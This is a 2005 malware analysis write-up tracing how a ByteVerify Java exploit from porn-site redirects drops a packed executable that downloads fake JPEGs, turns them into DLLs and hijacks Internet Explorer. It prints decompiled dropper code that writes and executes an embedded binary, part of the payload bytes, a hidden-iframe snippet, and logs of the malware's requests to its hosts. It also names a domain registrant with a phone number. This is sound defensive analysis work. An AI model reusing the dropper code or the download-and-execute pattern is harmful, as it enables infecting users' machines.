MS JVM's ByteVerify Trojan - Turning JPEGs Into DLLs

Back Home

Last Updated: Tuesday April 26, 2005

Michael Ligh (

First article following Lenny Zeltser's GREM Course

This document is part of the Browser Attacks Anthology

For another description of the ByteVerify trojan in action, see Tri-Mode Browser Exploits.
For another description of turning jpegs into javascript, see Jpegs Into JavaScript.

CA's Antivirus solution started complaining that Gummy.class, located within arr3.jar, contained the ByteVerify trojan. The machine was isolated from the public Internet and we started looking through the proxy logs for traces of this access, which we found; along with a number of pornographic related sites.

[time 4/24/2005 10:20:47 AM: ID 14: machine response 4/24/2005 10:25:59 AM] The Java/ByteVerify!Exploit.240!Troj was detected in C:\DOCUMENTS AND SETTINGS\sanitized...\ARR3[1].JAR. Machine: x.x.x.x, User: sanitized. File Status: Infected

It all started at and Both of which have redirects to

TCP_MISS/200 28996 GET DIRECT/ text/html

This particular hit was interesting because it came directly before the two which led to the arr3.jar file:

TCP_MISS/200 896 GET - DIRECT/ text/htmlTCP_MISS/200 20398 GET - DIRECT/ text/plain

Inspection of's index page showed some hardly creative javascript using the eval(String.fromCharCode(<code here>)) method to fetch the next page. My patent pending alertq hack described in this post shows that <code here> decodes to "<iframe src='' syle='display:none'></iframe>".

The interesting part is that at 10:16 AM, an index file existed in in order to return 896 bytes with an HTTP 200 status. Now, at 11:45 PM, there is no index file and it returns an HTTP 404. The jar still exists, however. This is not good for our analysis because that index file could have cleared some things up, such as a particular "code=<name>.class" or any variables that may have been used in the attack.

We started by some static analysis of arr3.jar, extracting it with unzip:

# unzip arr3.jar
Archive:  arr3.jar
   creating: META-INF/
  inflating: Gummy.class
  inflating: Counter.class
  inflating: VerifierBug.class
  inflating: Beyond.class

Then, using the magnificent class decompiler called jad, it was easy to get a clear view of the java source code used to create the archive. The contents of were of particular interest:

String s1 = System.getProperty("").toLowerCase();
   StringBuffer stringbuffer = new StringBuffer(256);
   Kernel32.GetTempPath(256, stringbuffer);
   String as[] = new String[1];
   as[0] = new String(stringbuffer) + "";
   int i = Kernel32.CreateFile(as[0], 0x40000000, 0, null, 2, 128, 0);
   Kernel32.WriteFile(i, m, 6144, new int[1], null);

This conditional executes only if the target system is Windows, as determined by the System.getProperty("") call. It builds an absolute path to a file, beginning with the machine's temporary directory, as returned by the Kernel32.GetTempPath() call. Once the path is known, it creates a file named in that directory, fills it with the contents of m[], which is a byte array initialized within, and then executes it with the Runtime.getRuntime().exec(as) call. The question now is - what does m[] contain that is later written to and later executed? For a sample of how m[] appears within, here is a sample:

static final long m[] = {
   0x300905a4dL, 0xffff00000004L, 184L, 64L, 0, 0, 0, 0x8000000000L, 0xcd09b4000eba1f0eL, 0x685421cd4c01b821L,
   0x72676f7270207369L, 0x6f6e6e6163206d61L, 0x6e75722065622074L, 0x20534f44206e6920L

The behavioral analysis started by installing Sun's 1.4.2.x SDK, which repeatedly failed to execute arr3.jar or produce any observable results. As co-workers later pointed out, that's because the ByteVerify trojan only works on vulerable versions of Microsoft's JVM, 5.0.3098 or earlier. That worked out well because we happened to have a copy of 5.0.3095 available, so I installed it on my VMware machine and prepared for the good news.

A copy of arr3.jar was loaded onto the desktop along with the soon-to-be infection mechanism: a 3 line impersonation of the missing index file from the server that hosted arr3.jar. The file contained just "applet code='Counter.class' archive='arr3.jar' with the appropriate tags.

Counter.class was chosen as the code since it was the only one within the archive that had a function which extended Applet. For the record, I had thought my initial attempts to run arr3.jar failed because there were no main() functions or Main-Class definitions in MANIFEST.MF, but as I later found out they aren't required for applets run with a browser (and of course that I needed a vulnerable MS JVM).

To simulate the attack, arr3.html was opened up in Internet Explorer, under the supervision of a few monitoring programs like SysInternal's FileMon and TDIMon. Of course Fundelete and RegShot were involved, two of my new favorite tools. In less than 3 seconds, the applet loaded, started, and completed.

RegShot was abnormally useless on this occassion - it showed no traces of new files or suspicious system activity. TDIMon shows a process named trying to access port 80 of, the alleged "home" of this malware package. Since the test machine isn't online, it reported destination unreachable. FileMon shows something equally suspicious. The active Internet Explorer process creates and writes content to

8:08:10 PM   IEXPLORE.EXE:1476   CREATE   C:\DOCUME~1\mike\LOCALS~1\Temp\   SUCCESS   Options: OverwriteIf  Access: All   
8:08:10 PM   IEXPLORE.EXE:1476   WRITE    C:\DOCUME~1\mike\LOCALS~1\Temp\   SUCCESS   Offset: 0 Length: 6144   
8:08:13 PM   explorer.exe:524   DELETE    C:\DOCUME~1\mike\LOCALS~1\Temp\   SUCCESS      

Notice it is not IE that deletes the new file, explorer.exe is actually the responsible party there. Nonetheless, this is when Fundelete comes in handy. The program file is easily recovered from disk - it reports the original location and lets you restore.Examining does not reveal much, but what it doesn't reveal is pretty helpful (now "let's see what we can't find out" doesn't seem so wrong!). PEInfo shows 3 sections of the portable executable are named UPX0, UPX1, and UPX2. The interesting part is Strings shows nothing about "packed with UPX" like normal PEs contain when packed with UPX. The author probably removed these lines so as to not give away the algorithm used to pack the program, but foolishly failed to rename the sections to something other than "UPX". Stud_PE proves worthy again and verifies that the PE is packed with UPX versions 0.89.6 - 1.02 or 1.05 - 1.24. In that case, we unpacked the executable with UPX:

Sorry, Image not available.

As quick as that, now we can see a number of strings that were previously hidden by the UPX compression, particularly the hostnames and IP addresses of systems it plans to contact for one reason or another:

Sorry, Image not available.

A few sloppy attempts to run the executable showed that it tries to access a file named m.jpg from This was first done by editing the HOSTS file of the infected Windows system with the following values from the Strings output of PEInfo: spywareinfo.

The destination IP address points to a controlled Red Hat Linux system running netcat on port 80. Here are the results of the trojan's request:

# nc -l -p 80
GET /dia381/m.jpg HTTP/1.1
User-Agent: Mozilla/4.0
Connection: Keep-Alive

Now we're going to jump back to static anaysis and load into IDA Pro. I want to know at which point in the program it makes this request, which might be helpful for setting up the next dynamic environment. ALT+T searches for strings. "m.jpg" doesn't exist, but "dia381" does. It takes us here:

.text:00401555                 mov     edi, offset aDia381 ; "dia381"
.text:0040155A                 push    edi
.text:0040155B                 push    offset dword_401084
.text:00401560                 lea     eax, [ebp+var_4C]
.text:00401563                 push    eax
.text:00401564                 mov     esi, offset unk_403150
.text:00401569                 push    esi
.text:0040156A                 call    dword_40335C

That pretty much completes our URL, with the exception of "m.jpg," but that's not so important right now. The new priority is finding out what happens at offset 0040156A, when the function call is made. To find out, a breakpoint was set within OllyDbg at this location, then the contents of the stack was viewed. It should show the contents of system memory just before this function is called:

Sorry, Image is not available.

The burning question now is - what does this malware do with m.jpg after it fetches it? Is m.jpg really a JPEG image? Why would the malware try to download an image file and then terminate itself if the request fails? What type of malware relies on a picture to proceed with infection? m.jpg is obviously our next target to understanding this attack.

At the time of this writing, resolves to and according to Whois, is registered by one Yuriy Korobov of Sadovnicheskaya Street, Moscow. You can call him at +7 095 7979500. Anyway, this is entirely suspicious to me and it is not surprising that this site hosts a file fetched by our malware.

One critical peice of information to continue the investigation is that this server is configured for Host Headers, as pointed out by another co-worker (thanks Andy!). We know this because a direct request to the IP address returns an HTTP 404, but if the server is addressed by host name, m.jpg is returned just fine:

# wget
           => `m.jpg'
Resolving done.
Connecting to connected.
HTTP request sent, awaiting response... 404 Not Found
19:03:37 ERROR 404: Not Found.

# wget
           => `m.jpg'
Resolving done.
Connecting to[]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39,940 [image/jpeg]

100%[============================>] 39,940        38.09M/s    ETA 00:00

19:03:46 (38.09 MB/s) - `m.jpg' saved [39940/39940]

m.jpg is a 39,940 byte binary file. It has no interpretable strings and doesn't appear to be in any directly executable format. I consulted a few sites online for the JPEG header format, which expained that the first two bytes would be 0xffd8 - the SOI marker (or Start Of Image indicator) for a valid JPEG image. I compared that information with a JPEG image on a linux machine of mine and then with the m.jpg file:

# hexdump -n 2 southtrust.jpg
0000000 d8ff

# hexdump -n 2 m.jpg
0000000 a3d9

That confirms my suspicion that m.jpg is not really a JPEG. Since one of the challenges to this experiment is operating within a controlled environment, it isn't an option to simply open up and allow the malware to download this file directly from Rather, I installed httpd on a Linux machine and set the to-be-infected Windows machine's default gateway to that of the Linux box. Traffic for port 80 was redirected up the stack via IPTables prerouting so we could get some nice Apache logs in addition to Snort's output.

Since the Linux machine, which is now the default gateway for the Windows machine, doesn't have Internet access either, we don't want DNS lookup failures to further delay this research. That should be OK for now, since the above entries are still in HOSTS.

Before continuing, a directory named dia381 was created in httpd's web root directory and m.jpg was gently set into place. To check the configuration, this screen shot shows that redirects to our httpd process and that m.jpg will be accessible by the malware:

Sorry, Image not available.

Launching the program set off a very quick chain of events, moving us one step closer. Here are the httpd access logs: - - [26/Apr/2005:13:48:11 -0400] "GET /dia381/m.jpg HTTP/1.1" 200 39940 "-" "Mozilla/4.0" - - [26/Apr/2005:13:48:16 -0400] "GET /w.php?e=0&dir=dia381&ex=1 HTTP/1.1" 404 1044 "-" "Mozilla/4.0" - - [26/Apr/2005:13:48:16 -0400] "GET /y.jpg HTTP/1.1" 404 1044 "-" "Mozilla/4.0"

The first request for m.jpg is returned successfully with 39,940 bytes. If you take a quick jump up to the last OllyDbg output, the second request may look familiar - "w.php?e=0&dir=dir381&ex=1". Then, y.mpg is requested - great, another fake JPEG to immitate. The one recurring theme here is BAD error handling - if encounters an HTTP 404 it terminates itself. This might be nice for anti-infection purposes of your own machine, but for investigative purpose it's really a pain. On top of that, always deletes itself from disk, so now I have to restore it from Fundelete again.

The good news is that we did learn something by making m.jpg available - a new file was created at C:\WINDOWS\system32\cgom.dll. Taking another quick look up to the OllyDbg screen shot, it shows that dimo.dll is waiting to be popped off the stack. The fact that these two dynamic link libraries differ in name, but have the same path and are created at the same time during the program's execution may suggest that a 4 character string is generated at random, appended to ".dll" and written to disk after m.jpg is successfully fetched.

One way or another, there is an obvious conditional here. If m.jpg is not available, the program crashes. If m.jpg is available, a randomly named DLL is added to the system32 directory and the program attempts to access w.php and then y.jpg. We now have cgom.dll in our hands but analyzing it now might be jumping the gun. On the other hand, ignoring it might be a bad move. I'll go in-between. The cgom.dll is not the exact same file as m.jpg according to md5sums, so it was not simply moved from m.jpg to cgom.dll. The file sizes differ, but only by 4 bytes (39,940 vs 39,936). This is way too close to just be a coincidence. The program must read in the contents of m.jpg and produce some DLL based on those results.

As an intermediary step, I must know if the DLL name is randomly generated and if the md5sum of that DLL is the same across multiple executions of the program. In order to gauge when the sequence had finished, I watched Windows Task Manager and waited for to crash. Surely enough, C:\WINDOWS\system32\gdem.dll was created with an md5sum that matched cgom.dll.

There is just so much going on here it's unbeleivable. Did I spell that right? I don't know because PHPBB doesn't have spellcheck, but it looks terribly misspelled. Anyway, the long lost Snort output has generated some nice log files that may explain what the malware does with m.jpg. The system makes some DNS resolution attempts for unfamiliar hostnames thus far, which may have been located (in some encoded format) within m.jpg.

The sequence of events is important here. First m.jpg is fetched, then the IP addresses of those hostnames are requested, then w.php is requested, then the same set of hostnames are looked up. That tells us that results from w.php aren't pertinent to the program's execution, which is nice because I don't feel like writing any php scripts to fool this peice of malware. Requesting w.php from the real site with those parameters returns one byte - an asterisk. To continue, y.jpg was obtained from (the original source of arr3.jar). The HOSTS file was updated with the above 5 domains, all pointing to the Linux server (

This is ridiculous and completely not worth mentioning but I just had to restore with Fundelete again. It is, however, worth noting what can do when both m.jpg and y.jpg are available. An interesting fact is that once m.jpg has been downloaded once, it is only downloaded again if the content has been modified since the last request, per the following Snort output:

04/26-15:34:43.740153 ->
TCP TTL:128 TOS:0x0 ID:706 IpLen:20 DgmLen:228 DF
***AP*** Seq: 0x5EADDDAD  Ack: 0x4EC9B35E  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 64 69 61 33 38 31 2F 6D 2E 6A 70  GET /dia381/
67 20 48 54 54 50 2F 31 2E 31 0D 0A 49 66 2D 4D  g HTTP/1.1..If-M
6F 64 69 66 69 65 64 2D 53 69 6E 63 65 3A 20 54  odified-Since: T
75 65 2C 20 32 36 20 41 70 72 20 32 30 30 35 20  ue, 26 Apr 2005
31 37 3A 33 36 3A 35 36 20 47 4D 54 0D 0A 49 66  17:36:56 GMT..If
2D 4E 6F 6E 65 2D 4D 61 74 63 68 3A 20 22 31 33  -None-Match: "13
64 39 63 2D 39 63 30 34 2D 35 65 65 64 37 65 30  d9c-9c04-5eed7e0
30 22 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  0"..User-Agent:
4D 6F 7A 69 6C 6C 61 2F 34 2E 30 0D 0A 48 6F 73  Mozilla/4.0..Hos
74 3A 20 64 6C 2E 61 64 2D 77 61 72 65 2E 63 63  t:
0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65  ..Connection: Ke
65 70 2D 41 6C 69 76 65 0D 0A 0D 0A              ep-Alive....

The If-Modified-Since directive didn't exist in the original request, so although our program has horrible error handling built in, it does have a few wise decisions incorporated. As expected, y.jpg is requested and downloaded successfully. A new file is created on disk named C:\Documents and Settings\user\Local Settings\Temp\pmmf.exe. The code runs and deletes itself. There are also many attempts to resolve, but that's because I made a type in the HOSTS file. After grabbing y.jpg, the program sent this request to the alleged server:

04/26-15:36:26.846099 ->
TCP TTL:128 TOS:0x0 ID:739 IpLen:20 DgmLen:263 DF
***AP*** Seq: 0x6016DEF4  Ack: 0x5511C780  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 63 6E 2F 3F 72 3D 38 30 36 66 66  GET /cn/?r=806ff
30 36 34 61 61 34 64 37 31 35 66 26 70 69 6E 3D  064aa4d715f&pin=
39 33 35 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63  935 HTTP/1.1..Ac
63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65 70  cept: */*..Accep
74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75  t-Language: en-u
73 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69  s..Accept-Encodi
6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74  ng: gzip, deflat
65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D  e..User-Agent: M
6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70  ozilla/4.0 (comp
61 74 69 62 6C 65 3B 20 4D 53 49 45 20 36 2E 30  atible; MSIE 6.0
3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 31  ; Windows NT 5.1
29 0D 0A 48 6F 73 74 3A 20 65 77 69 7A 61 72 64  )..Host: ewizard
2E 63 63 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A  .cc..Connection:
20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A      Keep-Alive....

This request is unable to be fulfilled by the test Linux server. Unfortunately, it's unable to be fulfilled by the real server as well, when requested by wget. The interesting thing is that the observed data within the HTTP GET request has changed significantly, the Accept-Encoding and extended User-Agent fields have changed. Another favorite tool, BHO Demon, shows what adds to the browser configuration:

Sorry, Image not available.

Although there still isn't any proof via OllyDbg or md5sum that the contents of m.jpg later become [4 random characters].dll, it's pretty obvious now. Let's take a minute to review what is know so far.

  1. a few porn sites redirect browsers to
  2. code on redirects browsers to arr3.jar on and force Counter.class to be executed
  3. a vulnerability in Microsoft's Java Virtual Machine allows to be written to disk and executed
  4. downloads m.jpg from a server by the name and uses it to create a randomly named DLL
  5. the foreign DLL is entered into the Windows registry as a browser helper object and plugged into Internet Explorer (A) (B)
  6. IE's homepage is taken over by the DLL and search criteria redirected to (C) (D)
  7. y.jpg is downloaded and turned into pmmf.exe, which runs briefly and deletes itself, in accordance with apparent new self-destruction law. It's function may be create _shfoldr.dll (not to be mistaken with shfolder.dll, the DLL required to display special folders such as My Documents.
  8. every 15 minutes or so, an IE window spawns itself and displays the new default home page, without any scoll bars, tool bars, or minimize/quit buttons.

The apparent purpose of the exploit was to change IE's homepage and produce hits for some ad-ware/spy-ware sites. It could have been used for something incredibly more dangerous, but wasn't - at least not that this research revealed. The Java ByteVerify trojan doesn't refer to anything in particular, but rather a method of escaping the sandbox for writing and executing arbitrary code. The one used in this exploit only affects certain versions of Microsoft's JVM, not Sun's. JPEG images aren't JPEG images when they are DLL's. If you're looking for something, don't search on These lessons are among the several we learned recently.

Appendix A: [RegShot output, changes to Windows Registry]

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{2634A82A-D011-469F-9087-816BF9BBD4BE}
HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Search Bar: "res://C:\DOCUME~1\mike\LOCALS~1\Temp\se.dll/spage.html"
HKU\S-1-5-21-329068152-261478967-682003330-1004\Software\Microsoft\Internet Explorer\Main\Search Page: "about:blank"

Appendix B: [Strings of BHO DLL per PEInfo]

Sorry, Image not available.

Appendix C: [Default IE homepage after infection]

Sorry, Image not available.

Appendix D: [IE browser after clicking 'spyware']

Sorry, Image not available.